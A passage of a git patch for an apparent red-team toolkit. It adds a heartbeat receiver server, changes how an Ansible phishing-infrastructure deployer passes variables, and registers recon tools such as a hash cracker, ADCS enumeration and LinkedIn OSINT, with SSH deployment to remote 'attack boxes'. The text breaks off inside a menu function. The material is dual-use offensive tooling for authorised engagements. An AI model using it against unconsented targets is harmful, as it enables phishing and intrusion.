From 2762b0dfb81e07e0ffbade6bc85aff475218e072 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Wed, 1 Apr 2026 22:11:01 -0400 Subject: [PATCH] Fix 11 bugs found in full codebase review - deploy_phishing.py: undefined extra_vars on orchestration playbook - freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable() - freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call - certipy-enum.py: password exposed in process list and logs; pass via env var - cleanup_engine.py: load_vars_file() called with path string, expects provider name - ioc-u.py: scapy import not guarded; tool crashed if scapy missing - um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers - ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var - recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user - um-crack.py: missing --scope flag inconsistent with all other Umbra tools - heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error --- heartbeat/heartbeat_ingest.py | 167 ++++ modules/phishing/deploy_phishing.py | 58 +- modules/tools/recon_tools.py | 872 +++++++++++++++++ tools/redteam/certipy-enum.py | 353 +++++++ tools/redteam/freebird/core/main_menu.py | 53 ++ tools/redteam/freebird/core/tool_manager.py | 121 +++ tools/redteam/ioc-u/ioc-u.py | 19 +- tools/redteam/ops-logger.sh | 65 +- tools/umbra/um-crack.py | 991 ++++++++++++++++++++ tools/umbra/um-vault.py | 920 ++++++++++++++++++ tools/umbra/um_ops.py | 495 ++++++++++ utils/cleanup_engine.py | 4 +- 12 files changed, 4034 insertions(+), 84 deletions(-) create mode 100644 heartbeat/heartbeat_ingest.py create mode 100644 modules/tools/recon_tools.py create mode 100644 tools/redteam/certipy-enum.py create mode 100644 tools/redteam/freebird/core/main_menu.py create mode 100644 tools/redteam/freebird/core/tool_manager.py create mode 100755 tools/umbra/um-crack.py create mode 100755 tools/umbra/um-vault.py create mode 100644 tools/umbra/um_ops.py diff --git a/heartbeat/heartbeat_ingest.py b/heartbeat/heartbeat_ingest.py new file mode 100644 index 0000000..08fcbe8 --- /dev/null +++ b/heartbeat/heartbeat_ingest.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python3 +"""heartbeat_ingest.py — HTTP(S) server that receives heartbeat POSTs and writes to engagement state. + +Writes heartbeats to: ~/.umbra/engagements/{engagement}/heartbeats/{hostname}.json + +Usage: + python heartbeat_ingest.py [--port 8443] [--bind 127.0.0.1] + python heartbeat_ingest.py --tls --cert cert.pem --key key.pem + python heartbeat_ingest.py --auth-token SECRET +""" + +import argparse +import hashlib +import hmac +import json +import os +import ssl +import subprocess +import sys +import tempfile +from http.server import HTTPServer, BaseHTTPRequestHandler + +UMBRA_HOME = os.path.expanduser("~/.umbra") +ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements") + +# Will be set by main() +_engagement_name = "" +_heartbeat_dir = "" +_auth_token = "" + + +class HeartbeatHandler(BaseHTTPRequestHandler): + """Handle POST /hb with JSON heartbeat payload.""" + + def _check_auth(self): + """Validate auth token if configured.""" + if not _auth_token: + return True + token = self.headers.get("X-Auth-Token", "") + return hmac.compare_digest(token, _auth_token) + + def do_POST(self): + if not self._check_auth(): + self.send_response(403) + self.end_headers() + self.wfile.write(b"forbidden") + return + + try: + length = int(self.headers.get("Content-Length", 0)) + body = self.rfile.read(length) + data = json.loads(body) + + hostname = data.get("hostname", "unknown").replace("/", "_").replace("..", "_") + hb_path = os.path.join(_heartbeat_dir, f"{hostname}.json") + + with open(hb_path, "w") as f: + json.dump(data, f, indent=2) + + self.send_response(200) + self.end_headers() + self.wfile.write(b"ok") + print(f" [+] {data.get('ts', '?')} heartbeat from {hostname} ({data.get('ip', '?')})") + + except (json.JSONDecodeError, KeyError) as e: + self.send_response(400) + self.end_headers() + self.wfile.write(f"bad request: {e}".encode()) + + except Exception as e: + self.send_response(500) + self.end_headers() + self.wfile.write(f"error: {e}".encode()) + + def do_GET(self): + """Health check endpoint.""" + if not self._check_auth(): + self.send_response(403) + self.end_headers() + self.wfile.write(b"forbidden") + return + + self.send_response(200) + self.end_headers() + self.wfile.write(json.dumps({"status": "ok", "engagement": _engagement_name}).encode()) + + def log_message(self, fmt, *args): + """Suppress default access logging.""" + pass + + +def generate_self_signed_cert(cert_path, key_path): + """Generate a self-signed certificate for TLS.""" + try: + subprocess.run([ + "openssl", "req", "-x509", "-newkey", "rsa:2048", + "-keyout", key_path, "-out", cert_path, + "-days", "365", "-nodes", + "-subj", "/CN=heartbeat-ingest", + ], check=True, capture_output=True) + except FileNotFoundError: + raise RuntimeError("openssl not found — install it or provide --cert/--key manually") + print(f"[*] Generated self-signed cert: {cert_path}") + + +def main(): + global _engagement_name, _heartbeat_dir, _auth_token + + parser = argparse.ArgumentParser(description="Heartbeat ingest server") + parser.add_argument("engagement", help="Engagement name") + parser.add_argument("--port", "-p", type=int, default=8443, help="Listen port (default: 8443)") + parser.add_argument("--bind", "-b", default="127.0.0.1", help="Bind address (default: 127.0.0.1)") + parser.add_argument("--auth-token", default=os.environ.get("UMBRA_HB_TOKEN", ""), + help="Shared secret for auth (X-Auth-Token header)") + parser.add_argument("--tls", action="store_true", help="Enable TLS") + parser.add_argument("--cert", default="", help="TLS certificate path (PEM)") + parser.add_argument("--key", default="", help="TLS private key path (PEM)") + args = parser.parse_args() + + _engagement_name = args.engagement.strip().replace(" ", "_") + _heartbeat_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name, "heartbeats") + os.makedirs(_heartbeat_dir, exist_ok=True) + _auth_token = args.auth_token + + # Also ensure engagement dir exists + eng_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name) + os.makedirs(eng_dir, exist_ok=True) + + server = HTTPServer((args.bind, args.port), HeartbeatHandler) + + # TLS setup + if args.tls: + cert_path = args.cert + key_path = args.key + + # Auto-generate self-signed cert if none provided + if not cert_path or not key_path: + cert_dir = os.path.join(eng_dir, "tls") + os.makedirs(cert_dir, exist_ok=True) + cert_path = os.path.join(cert_dir, "heartbeat.crt") + key_path = os.path.join(cert_dir, "heartbeat.key") + if not os.path.exists(cert_path): + generate_self_signed_cert(cert_path, key_path) + + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + ctx.load_cert_chain(cert_path, key_path) + server.socket = ctx.wrap_socket(server.socket, server_side=True) + proto = "https" + else: + proto = "http" + + print(f"[*] Heartbeat ingest listening on {args.bind}:{args.port} ({proto})") + print(f"[*] Engagement: {_engagement_name}") + print(f"[*] Writing to: {_heartbeat_dir}") + print(f"[*] Auth: {'enabled' if _auth_token else 'disabled'}") + print(f"[*] Endpoint: POST {proto}://:{args.port}/hb") + print() + + try: + server.serve_forever() + except KeyboardInterrupt: + print("\n[*] Stopped") + server.server_close() + + +if __name__ == "__main__": + main() diff --git a/modules/phishing/deploy_phishing.py b/modules/phishing/deploy_phishing.py index 222c13b..9e44afc 100644 --- a/modules/phishing/deploy_phishing.py +++ b/modules/phishing/deploy_phishing.py @@ -447,38 +447,55 @@ def execute_component_deployment(config): 'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'), } - # Build extra vars for ansible - extra_vars = [] + # Build extra vars for ansible as JSON (safe for special chars) + import json as _json + import tempfile as _tempfile + extra_vars_dict = {} for key, value in config.items(): if isinstance(value, (str, int, bool)): - extra_vars.append(f"{key}={value}") - + extra_vars_dict[key] = value + deployed_components = [] - + try: # Deploy each enabled component for component, playbook_path in component_playbooks.items(): if config.get(component, False): print(f"\n{COLORS['YELLOW']}Deploying {component.replace('deploy_', '')}...{COLORS['RESET']}") - + # Check if playbook exists if not os.path.exists(playbook_path): print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}") continue - + + # Write vars to temp file (avoids CLI exposure) + _vars_file = _tempfile.NamedTemporaryFile( + mode='w', suffix='.json', prefix='phish_vars_', + delete=False + ) + _json.dump(extra_vars_dict, _vars_file) + _vars_file.close() + os.chmod(_vars_file.name, 0o600) + # Build ansible command cmd = [ 'ansible-playbook', playbook_path, '--extra-vars', - ' '.join(extra_vars) + f'@{_vars_file.name}' ] - - print(f"{COLORS['GRAY']}Running: {' '.join(cmd)}{COLORS['RESET']}") + + print(f"{COLORS['GRAY']}Running: ansible-playbook {os.path.basename(playbook_path)}{COLORS['RESET']}") # Execute playbook result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__)) - + + # Clean up temp vars file + try: + os.unlink(_vars_file.name) + except OSError: + pass + if result.returncode == 0: print(f"{COLORS['GREEN']}✅ {component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}") deployed_components.append(component) @@ -490,16 +507,29 @@ def execute_component_deployment(config): # Deploy the orchestration playbook to save state print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}") orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml') - + + _orch_vars_file = _tempfile.NamedTemporaryFile( + mode='w', suffix='.json', prefix='phish_orch_', + delete=False + ) + _json.dump(extra_vars_dict, _orch_vars_file) + _orch_vars_file.close() + os.chmod(_orch_vars_file.name, 0o600) + cmd = [ 'ansible-playbook', orchestration_playbook, '--extra-vars', - ' '.join(extra_vars) + f'@{_orch_vars_file.name}' ] result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__)) - + + try: + os.unlink(_orch_vars_file.name) + except OSError: + pass + if result.returncode == 0: print(f"{COLORS['GREEN']}✅ Deployment state saved{COLORS['RESET']}") return True diff --git a/modules/tools/recon_tools.py b/modules/tools/recon_tools.py new file mode 100644 index 0000000..15218b8 --- /dev/null +++ b/modules/tools/recon_tools.py @@ -0,0 +1,872 @@ +#!/usr/bin/env python3 +""" +Recon & Red Team Tools — c2itall integration module +Provides local launch + remote deployment for Umbra suite and custom Red Team tools. +""" + +import os +import sys +import subprocess +import glob +from datetime import datetime + +# Add parent paths for imports +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) +from utils.common import COLORS, clear_screen, print_banner, wait_for_input + +# ─── Tool Path Registry ───────────────────────────────────────────────────── +C2ITALL_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..')) +UMBRA_PATH = os.path.join(C2ITALL_ROOT, "tools", "umbra") +REDTEAM_PATH = os.path.join(C2ITALL_ROOT, "tools", "redteam") + +TOOLS = { + # Umbra tools + "umbra-launcher": { + "path": os.path.join(UMBRA_PATH, "umbra.py"), + "type": "python", + "desc": "Unified Umbra Launcher", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow", "beautifulsoup4"], + }, + "um-scan": { + "path": os.path.join(UMBRA_PATH, "um-scan.py"), + "type": "python", + "desc": "TCP Port Scanner", + "deps": ["rich", "click", "aiohttp"], + }, + "um-api": { + "path": os.path.join(UMBRA_PATH, "um-api.py"), + "type": "python", + "desc": "API Endpoint Discovery", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"], + }, + "um-intel": { + "path": os.path.join(UMBRA_PATH, "um-intel.py"), + "type": "python", + "desc": "Passive OSINT Aggregator", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks"], + }, + "um-enum": { + "path": os.path.join(UMBRA_PATH, "um-enum.py"), + "type": "python", + "desc": "Predictive URL Enumeration", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"], + }, + "um-fuzz": { + "path": os.path.join(UMBRA_PATH, "um-fuzz.py"), + "type": "python", + "desc": "Web Path Discovery", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks"], + }, + "um-hash": { + "path": os.path.join(UMBRA_PATH, "um-hash.py"), + "type": "python", + "desc": "Gravatar Hash Extraction", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"], + }, + "um-wp": { + "path": os.path.join(UMBRA_PATH, "um-wp.py"), + "type": "python", + "desc": "WordPress Detection", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks"], + }, + "um-crack": { + "path": os.path.join(UMBRA_PATH, "um-crack.py"), + "type": "python", + "desc": "Hash Cracker", + "deps": ["rich", "click"], + }, + "um-exif": { + "path": os.path.join(UMBRA_PATH, "um-exif.py"), + "type": "python", + "desc": "EXIF Metadata Extraction", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow"], + }, + "um-vault": { + "path": os.path.join(UMBRA_PATH, "um-vault.py"), + "type": "python", + "desc": "Master Database Aggregator", + "deps": ["rich", "click"], + }, + # Red Team tools + "trashpanda": { + "path": os.path.join(REDTEAM_PATH, "trashpanda", "trashpanda.py"), + "type": "python", + "desc": "Network Enumeration", + "deps": [], + }, + "ioc-u": { + "path": os.path.join(REDTEAM_PATH, "ioc-u", "ioc-u.py"), + "type": "python", + "desc": "Blue Team Detection & Intel", + "deps": ["scapy", "numpy", "scikit-learn"], + }, + "lions-share": { + "path": os.path.join(REDTEAM_PATH, "lions-share", "lions-share.py"), + "type": "python", + "desc": "SSHFS Mount & Backup", + "deps": ["click", "python-crontab"], + "sys_deps": ["sshfs", "rsync"], + }, + "micro-scope": { + "path": os.path.join(REDTEAM_PATH, "micro-scope", "micro-scope.py"), + "type": "python", + "desc": "Scope Verification", + "deps": [], + }, + "linkedout": { + "path": os.path.join(REDTEAM_PATH, "linkedout", "linkedout.py"), + "type": "python", + "desc": "LinkedIn OSINT", + "deps": ["selenium", "webdriver-manager", "beautifulsoup4"], + }, + "ops-logger": { + "path": os.path.join(REDTEAM_PATH, "ops-logger.sh"), + "type": "bash", + "desc": "Terminal Session Logging", + "deps": [], + }, + "freebird": { + "path": os.path.join(REDTEAM_PATH, "freebird", "main.py"), + "type": "python", + "desc": "MITRE ATT&CK Framework", + "deps": ["InquirerPy", "requests", "click"], + }, + "regex-search": { + "path": os.path.join(REDTEAM_PATH, "regex-search", "regex-search-tool.py"), + "type": "python", + "desc": "Sensitive Data Search", + "deps": [], + }, + "certipy-enum": { + "path": os.path.join(REDTEAM_PATH, "certipy-enum.py"), + "type": "python", + "desc": "ADCS Enumeration", + "deps": [], + }, + "ping-sweep": { + "path": os.path.join(REDTEAM_PATH, "ping-sweep.py"), + "type": "python", + "desc": "Network Discovery", + "deps": [], + "sys_deps": ["nmap"], + }, + # Forensics / sandbox tools + "ir-sandbox": { + "path": os.path.expanduser("~/tools/ir-sandbox/ir-sandbox.py"), + "type": "python", + "desc": "Malware Analysis & IR Platform", + "deps": [], + }, + "link-sandbox": { + "path": os.path.expanduser("~/tools/link-sandbox/analyze.py"), + "type": "python", + "desc": "Secure URL Analysis", + "deps": [], + }, + # Ops tools + "ops-dashboard": { + "path": os.path.join(C2ITALL_ROOT, "ops_dashboard.py"), + "type": "python", + "desc": "Real-Time Engagement Monitor", + "deps": ["rich"], + }, + "ops-bridge": { + "path": os.path.join(C2ITALL_ROOT, "ops_bridge.py"), + "type": "python", + "desc": "Remote State Sync (rsync)", + "deps": [], + "sys_deps": ["rsync"], + }, + "heartbeat-ingest": { + "path": os.path.join(C2ITALL_ROOT, "heartbeat", "heartbeat_ingest.py"), + "type": "python", + "desc": "Heartbeat Receiver Server", + "deps": [], + }, +} + +# Tool groups for menu organization +UMBRA_TOOLS = [ + "umbra-launcher", "um-scan", "um-api", "um-intel", "um-enum", + "um-fuzz", "um-hash", "um-wp", "um-crack", "um-exif", "um-vault", +] +REDTEAM_TOOLS = [ + "trashpanda", "ioc-u", "lions-share", "micro-scope", "linkedout", + "ops-logger", "freebird", "regex-search", "certipy-enum", "ping-sweep", +] +OPS_TOOLS = ["ops-dashboard", "ops-bridge", "heartbeat-ingest"] + +# Deployment tracking file +DEPLOY_LOG = os.path.expanduser("~/.c2itall_tool_deployments.log") + + +# ─── Utility Functions ────────────────────────────────────────────────────── + +def check_tool_status(tool_name): + """Check if a tool exists locally.""" + info = TOOLS.get(tool_name) + if not info: + return False + return os.path.exists(info["path"]) + + +def launch_local_tool(tool_name): + """Launch a tool locally.""" + info = TOOLS.get(tool_name) + if not info: + print(f"{COLORS['RED']}Unknown tool: {tool_name}{COLORS['RESET']}") + return + + if not os.path.exists(info["path"]): + print(f"{COLORS['RED']}Tool not found: {info['path']}{COLORS['RESET']}") + wait_for_input() + return + + tool_dir = os.path.dirname(info["path"]) + + if info["type"] == "python": + cmd = [sys.executable, info["path"]] + elif info["type"] == "bash": + cmd = ["bash", info["path"]] + else: + print(f"{COLORS['RED']}Unknown tool type: {info['type']}{COLORS['RESET']}") + return + + print(f"\n{COLORS['CYAN']}Launching {tool_name}...{COLORS['RESET']}\n") + try: + subprocess.run(cmd, cwd=tool_dir) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Tool interrupted{COLORS['RESET']}") + except Exception as e: + print(f"{COLORS['RED']}Error launching {tool_name}: {e}{COLORS['RESET']}") + wait_for_input() + + +def log_deployment(host, tools_deployed, ssh_user, ssh_key): + """Log a tool deployment for future SSH & Run.""" + ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + with open(DEPLOY_LOG, "a") as f: + tools_str = ",".join(tools_deployed) + f.write(f"{ts}|{host}|{ssh_user}|{ssh_key}|{tools_str}\n") + + +def get_deployments(): + """Read deployment log and return list of deployments.""" + if not os.path.exists(DEPLOY_LOG): + return [] + deployments = [] + with open(DEPLOY_LOG) as f: + for line in f: + line = line.strip() + if not line: + continue + parts = line.split("|") + if len(parts) >= 5: + deployments.append({ + "timestamp": parts[0], + "host": parts[1], + "ssh_user": parts[2], + "ssh_key": parts[3], + "tools": parts[4].split(","), + }) + return deployments + + +def get_active_attack_boxes(): + """Get active attack box deployments from c2itall logs.""" + hosts = [] + log_dir = os.path.join(os.path.dirname(__file__), '..', '..', 'logs') + info_files = glob.glob(os.path.join(log_dir, "deployment_info_*.txt")) + + for info_file in info_files: + try: + with open(info_file) as f: + content = f.read() + # Extract IP and SSH info + ip = None + ssh_user = None + ssh_key = None + for line in content.splitlines(): + line = line.strip() + if "IP:" in line or "attack_box_ip:" in line: + ip = line.split(":")[-1].strip().strip('"') + elif "SSH User:" in line: + ssh_user = line.split(":")[-1].strip() + elif "SSH Key:" in line: + ssh_key = line.split(":")[-1].strip() + if ip: + hosts.append({ + "ip": ip, + "ssh_user": ssh_user or "root", + "ssh_key": ssh_key, + "source": os.path.basename(info_file), + }) + except Exception: + pass + return hosts + + +# ─── Deployment Functions ─────────────────────────────────────────────────── + +def select_target_host(): + """Select a target host from active deployments or manual entry.""" + print(f"\n{COLORS['CYAN']}Select target machine:{COLORS['RESET']}") + + # Check c2itall active deployments + attack_boxes = get_active_attack_boxes() + if attack_boxes: + print(f"\n {COLORS['GREEN']}Active c2itall deployments:{COLORS['RESET']}") + for i, box in enumerate(attack_boxes, 1): + print(f" {i}) {box['ip']} ({box['ssh_user']}@) — {box['source']}") + print(f" {len(attack_boxes) + 1}) Manual entry") + + choice = input(f"\n Select: ").strip() + try: + idx = int(choice) - 1 + if 0 <= idx < len(attack_boxes): + box = attack_boxes[idx] + return box["ip"], box["ssh_user"], box.get("ssh_key") + except ValueError: + pass + else: + print(f" {COLORS['YELLOW']}No active c2itall deployments found{COLORS['RESET']}") + + # Manual entry + host = input(f"\n Enter target (user@host or host): ").strip() + if not host: + return None, None, None + + if "@" in host: + ssh_user, host = host.split("@", 1) + else: + ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or "root" + + ssh_key = input(f" SSH key path (blank for default): ").strip() or None + return host, ssh_user, ssh_key + + +def _build_ssh_cmd(host, ssh_user, ssh_key, command=None, interactive=False): + """Build an SSH command list.""" + cmd = ["ssh"] + if ssh_key: + cmd.extend(["-i", ssh_key]) + # Use accept-new: trust on first connect, reject if key changes + known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts") + cmd.extend([ + "-o", "StrictHostKeyChecking=accept-new", + "-o", f"UserKnownHostsFile={known_hosts}", + "-o", "IdentitiesOnly=yes", + ]) + if interactive: + cmd.append("-t") + cmd.append(f"{ssh_user}@{host}") + if command: + cmd.append(command) + return cmd + + +def _build_scp_cmd(ssh_key=None): + """Build base SCP command with consistent SSH options.""" + known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts") + cmd = ["scp", "-o", "StrictHostKeyChecking=accept-new", "-o", f"UserKnownHostsFile={known_hosts}"] + if ssh_key: + cmd.extend(["-i", ssh_key]) + return cmd + + +def deploy_umbra_remote(host, ssh_user, ssh_key): + """Deploy Umbra suite to remote machine.""" + print(f"\n{COLORS['CYAN']}Deploying Umbra to {ssh_user}@{host}...{COLORS['RESET']}") + + # Create remote directory + ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra") + result = subprocess.run(ssh_cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}Failed to create remote directory: {result.stderr}{COLORS['RESET']}") + return False + + # SCP Umbra files + scp_cmd = _build_scp_cmd(ssh_key) + + # Copy all Python files and wordlists + py_files = glob.glob(os.path.join(UMBRA_PATH, "*.py")) + if not py_files: + print(f"{COLORS['RED']}No Umbra Python files found at {UMBRA_PATH}{COLORS['RESET']}") + return False + + scp_cmd.extend(py_files) + scp_cmd.append(f"{ssh_user}@{host}:/opt/umbra/") + + print(f" Copying {len(py_files)} Python files...") + result = subprocess.run(scp_cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}") + return False + + # Copy wordlists if they exist + wordlist_dir = os.path.join(UMBRA_PATH, "wordlists") + if os.path.isdir(wordlist_dir): + ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra/wordlists") + subprocess.run(ssh_cmd, capture_output=True) + + scp_wl = _build_scp_cmd(ssh_key) + scp_wl.extend(["-r", wordlist_dir + "/"]) + scp_wl.append(f"{ssh_user}@{host}:/opt/umbra/wordlists/") + print(f" Copying wordlists...") + subprocess.run(scp_wl, capture_output=True) + + # Install pip dependencies + all_deps = set() + for tool in UMBRA_TOOLS: + info = TOOLS.get(tool, {}) + all_deps.update(info.get("deps", [])) + + if all_deps: + deps_str = " ".join(sorted(all_deps)) + print(f" Installing dependencies: {deps_str}") + install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}") + result = subprocess.run(install_cmd, capture_output=True, text=True, timeout=120) + if result.returncode != 0: + print(f"{COLORS['YELLOW']}Warning: Some deps may have failed: {result.stderr[:200]}{COLORS['RESET']}") + + # Verify + print(f" Verifying installation...") + verify_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + "python3 -m py_compile /opt/umbra/um_tui.py && echo 'VERIFY_OK'") + result = subprocess.run(verify_cmd, capture_output=True, text=True) + if "VERIFY_OK" in result.stdout: + print(f"{COLORS['GREEN']}Umbra deployed successfully to {host}:/opt/umbra/{COLORS['RESET']}") + log_deployment(host, UMBRA_TOOLS, ssh_user, ssh_key or "default") + return True + else: + print(f"{COLORS['RED']}Verification failed{COLORS['RESET']}") + return False + + +def deploy_redteam_remote(host, ssh_user, ssh_key): + """Deploy Red Team tools to remote machine.""" + print(f"\n{COLORS['CYAN']}Deploying Red Team tools to {ssh_user}@{host}...{COLORS['RESET']}") + + # Create remote directories + ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + "mkdir -p /opt/redteam/{trashpanda,ioc-u,lions-share,micro-scope,linkedout,freebird,regex-search}") + subprocess.run(ssh_cmd, capture_output=True) + + deployed = [] + for tool_name in REDTEAM_TOOLS: + info = TOOLS.get(tool_name) + if not info: + continue + + src_path = info["path"] + if not os.path.exists(src_path): + print(f" {COLORS['YELLOW']}Skipping {tool_name}: not found locally{COLORS['RESET']}") + continue + + # Determine remote path + remote_dir = f"/opt/redteam/{tool_name}" + src_dir = os.path.dirname(src_path) + + scp_cmd = _build_scp_cmd(ssh_key) + + # If it's a single file, just copy the file + if os.path.isfile(src_path) and src_dir == os.path.dirname(src_path): + ssh_mkdir = _build_ssh_cmd(host, ssh_user, ssh_key, f"mkdir -p {remote_dir}") + subprocess.run(ssh_mkdir, capture_output=True) + scp_cmd.extend([src_path, f"{ssh_user}@{host}:{remote_dir}/"]) + else: + scp_cmd.extend(["-r", src_dir + "/"]) + scp_cmd.append(f"{ssh_user}@{host}:{remote_dir}/") + + result = subprocess.run(scp_cmd, capture_output=True, text=True) + if result.returncode == 0: + print(f" {COLORS['GREEN']}Deployed: {tool_name}{COLORS['RESET']}") + deployed.append(tool_name) + else: + print(f" {COLORS['RED']}Failed: {tool_name} — {result.stderr[:100]}{COLORS['RESET']}") + + # Install deps for deployed tools + all_deps = set() + for tool_name in deployed: + info = TOOLS.get(tool_name, {}) + all_deps.update(info.get("deps", [])) + + if all_deps: + deps_str = " ".join(sorted(all_deps)) + print(f"\n Installing dependencies: {deps_str}") + install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}") + subprocess.run(install_cmd, capture_output=True, text=True, timeout=120) + + if deployed: + print(f"\n{COLORS['GREEN']}Deployed {len(deployed)} Red Team tools to {host}{COLORS['RESET']}") + log_deployment(host, deployed, ssh_user, ssh_key or "default") + return len(deployed) > 0 + + +def ssh_run_tool(host, ssh_user, ssh_key, tool_path, interactive=True): + """SSH into a remote machine and run a tool.""" + if interactive: + cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"cd {os.path.dirname(tool_path)} && python3 {tool_path}", + interactive=True) + else: + cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"python3 {tool_path}") + + print(f"\n{COLORS['CYAN']}Connecting to {ssh_user}@{host}...{COLORS['RESET']}") + try: + subprocess.run(cmd) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Session ended{COLORS['RESET']}") + + +def check_remote_tools(host, ssh_user, ssh_key): + """Check which tools are installed on a remote machine.""" + print(f"\n{COLORS['CYAN']}Checking tools on {ssh_user}@{host}...{COLORS['RESET']}\n") + + # Check Umbra + check_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + "ls /opt/umbra/*.py 2>/dev/null && echo '---DIVIDER---' && ls /opt/redteam/*/ 2>/dev/null") + result = subprocess.run(check_cmd, capture_output=True, text=True) + + if result.returncode != 0: + print(f"{COLORS['YELLOW']}Could not connect or no tools found{COLORS['RESET']}") + return + + output = result.stdout + if "---DIVIDER---" in output: + umbra_part, redteam_part = output.split("---DIVIDER---", 1) + else: + umbra_part = output + redteam_part = "" + + print(f" {COLORS['WHITE']}Umbra Suite:{COLORS['RESET']}") + if umbra_part.strip(): + for line in umbra_part.strip().splitlines(): + fname = os.path.basename(line.strip()) + print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {fname}") + else: + print(f" {COLORS['RED']}Not installed{COLORS['RESET']}") + + print(f"\n {COLORS['WHITE']}Red Team Tools:{COLORS['RESET']}") + if redteam_part.strip(): + for line in redteam_part.strip().splitlines(): + print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {line.strip()}") + else: + print(f" {COLORS['RED']}Not installed{COLORS['RESET']}") + + +# ─── Menu Functions ───────────────────────────────────────────────────────── + +def umbra_submenu(): + """Submenu for Umbra Reconnaissance Suite.""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}UMBRA RECONNAISSANCE SUITE{COLORS['RESET']}") + print(f"{COLORS['WHITE']}=========================={COLORS['RESET']}") + print(f"1) um-scan — TCP Port Scanner") + print(f"2) um-api — API Endpoint Discovery") + print(f"3) um-intel — OSINT Aggregator") + print(f"4) um-enum — URL Enumeration") + print(f"5) um-fuzz — Directory Fuzzer") + print(f"6) um-hash — Hash Extraction") + print(f"7) um-wp — WordPress Scanner") + print(f"8) um-crack — Password Cracker") + print(f"9) um-exif — EXIF Metadata") + print(f"10) um-vault — Database Manager") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + + tool_map = { + "1": "um-scan", "2": "um-api", "3": "um-intel", + "4": "um-enum", "5": "um-fuzz", "6": "um-hash", + "7": "um-wp", "8": "um-crack", "9": "um-exif", + "10": "um-vault", + } + + if choice == "99": + return + elif choice in tool_map: + launch_local_tool(tool_map[choice]) + wait_for_input() + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def redteam_submenu(): + """Submenu for Red Team Operations Tools.""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}RED TEAM OPERATIONS TOOLS{COLORS['RESET']}") + print(f"{COLORS['WHITE']}========================={COLORS['RESET']}") + print(f"1) TrashPanda — Network Enumeration") + print(f"2) IOC-U — Blue Team Detection & Intel") + print(f"3) Lions-Share — SSHFS Mount & Backup") + print(f"4) micro-scope — Scope Verification") + print(f"5) linkedout — LinkedIn OSINT") + print(f"6) ops-logger — Terminal Session Logging") + print(f"7) freebird — MITRE ATT&CK Framework") + print(f"8) regex-search — Sensitive Data Search") + print(f"9) certipy-enum — ADCS Enumeration") + print(f"10) ping-sweep — Network Discovery") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + + tool_map = { + "1": "trashpanda", "2": "ioc-u", "3": "lions-share", + "4": "micro-scope", "5": "linkedout", "6": "ops-logger", + "7": "freebird", "8": "regex-search", "9": "certipy-enum", + "10": "ping-sweep", + } + + if choice == "99": + return + elif choice in tool_map: + launch_local_tool(tool_map[choice]) + wait_for_input() + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def remote_submenu(): + """Submenu for Remote Deployment.""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}REMOTE DEPLOYMENT{COLORS['RESET']}") + print(f"{COLORS['WHITE']}================={COLORS['RESET']}") + print(f"1) Deploy Umbra Suite to Remote Machine") + 